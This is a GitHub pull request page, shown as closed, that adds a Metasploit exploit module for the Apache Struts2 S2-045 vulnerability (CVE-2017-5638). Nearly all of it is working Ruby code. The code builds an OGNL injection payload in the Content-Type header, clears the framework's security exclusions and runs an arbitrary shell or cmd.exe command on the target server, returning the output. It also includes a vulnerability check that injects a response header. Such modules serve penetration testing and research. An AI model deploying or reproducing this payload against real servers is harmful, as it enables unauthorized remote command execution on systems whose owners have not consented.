Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[add] CVE-2017-5638 - Apache Struts2 S2-045 #8072

Closed
wants to merge 2 commits into from
Closed
Changes from all commits
Commits
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

@@ -0,0 +1,117 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.
},
'Author' => [ 'Nixawk' ],
'References' => [
['CVE', '2017-5638'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
],
'Platform' => %w{ unix win },
'Privileged' => true,
'Targets' =>
[
['Apache Struts2 / unix', {} ],
['Apache Struts2 / win', {} ]
],
'DisclosureDate' => 'Mar 07 2017',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
OptString.new('CMD', [true, 'The command to be executed in remote server', 'dir'])
]
)
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def send_http_request(payload)
uri = normalize_uri(datastore["TARGETURI"])
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
'headers' => {
'Content-Type': payload
}
)

if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end

def http_send_command(cmd)
payload = "%{(#_='multipart/form-data')."
payload << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload << "(#_memberAccess?"
payload << "(#_memberAccess=#dm):"
payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload << "(#ognlUtil.getExcludedPackageNames().clear())."
payload << "(#ognlUtil.getExcludedClasses().clear())."
payload << "(#context.setMemberAccess(#dm))))."
payload << "(#cmd='#{cmd}')."
payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload << "(#p=new java.lang.ProcessBuilder(#cmds))."
payload << "(#p.redirectErrorStream(true))."
payload << "(#process=#p.start())."
payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload << "(#ros.flush())}"
send_http_request(payload)
end

def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)

payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']"
payload << ".addHeader('#{var_a}', '#{var_b}')"
payload << "}.multipart/form-data"

begin
resp = send_http_request(payload)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end

if resp && resp.code == 200 && resp.headers[var_a] == var_b
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
end

resp = http_send_command(datastore['cmd'])
print_status("Command output: #{resp.body}")
end
end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.